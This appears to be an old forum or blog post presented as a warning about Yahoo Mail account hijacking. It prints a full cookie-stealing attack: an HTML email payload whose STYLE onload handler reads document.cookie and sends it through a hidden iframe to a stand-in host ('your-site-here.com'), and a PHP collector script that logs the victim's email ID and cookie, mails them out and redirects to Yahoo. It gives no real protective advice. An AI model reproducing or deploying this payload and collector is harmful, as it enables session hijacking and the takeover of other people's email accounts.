Protect you Password from Hackers

Protect your yahoo account and every account in general and should not be used for stealing someone's info, password etc...

My yahoo Id was recently accessed by an unknown person which used it to send promotional emails to my list of friends who, of course, accessed them leaving the hacker another open door, and another and so on, the chain never ends. Hopefully yahoo wakes up. I did a search on this new thing that they use, it had to be something on the "client side", a bug that could be sent inside an email, a new thing, undetected by yahoo, yet - it's easyer to attack than to deffend they say. It didn't take me too much to find this code which writes the recipient's cookie (stored in C:/ under the Cookies folder) inside a .log file that is copy-pasted by the hacker overwriting his own cookie that yahoo stored inside his computer and than easilly accessing the victim's yahoo email. The bug is

<DIV id=b style="VISIBILITY: hidden">

<STYLE onload="window.status=''; 

var x = escape(document.cookie).substr(0,1900); 

b.innerHTML='<iframe src=http://your-site-here.com/script.php?

id='+document.title.substring

(document.title.indexOf('-')+2)+'&amp;cookie=\''+x+'\' 

frameborder=0 width=10 height=10></iframe>';" type=text/css>

</STYLE>

</DIV>

This script calls the following php code

$file="cookie.log";
if (isset($_REQUEST["id"]) && isset($_REQUEST["cookie"])){
$logcookie = $_REQUEST["cookie"];
$logcookie = rawurldecode($logcookie);
$logemail = $_REQUEST["id"];
$logemail = rawurldecode($logemail);
if (file_exists($file)) {
$handle=fopen($file, "r+");
$filecontence=fread($handle,filesize("$file"));
fclose($handle);
}
$handle=fopen($file, "w");
fwrite($handle, "$logemail - $logcookie\n$filecontence\n ");
//Writing email address and cookie then the rest of the log
fclose($handle);
mail("email", "$logemail", "$logemail\n$logcookie\n$filecontence\n");
}
header("Location: http://mail.yahoo.com");

This will write the cookie to the hackers .log file that resides on his server. A very simple example but so deadly. The code is a little changed to make it hard to use without PHP knowledge.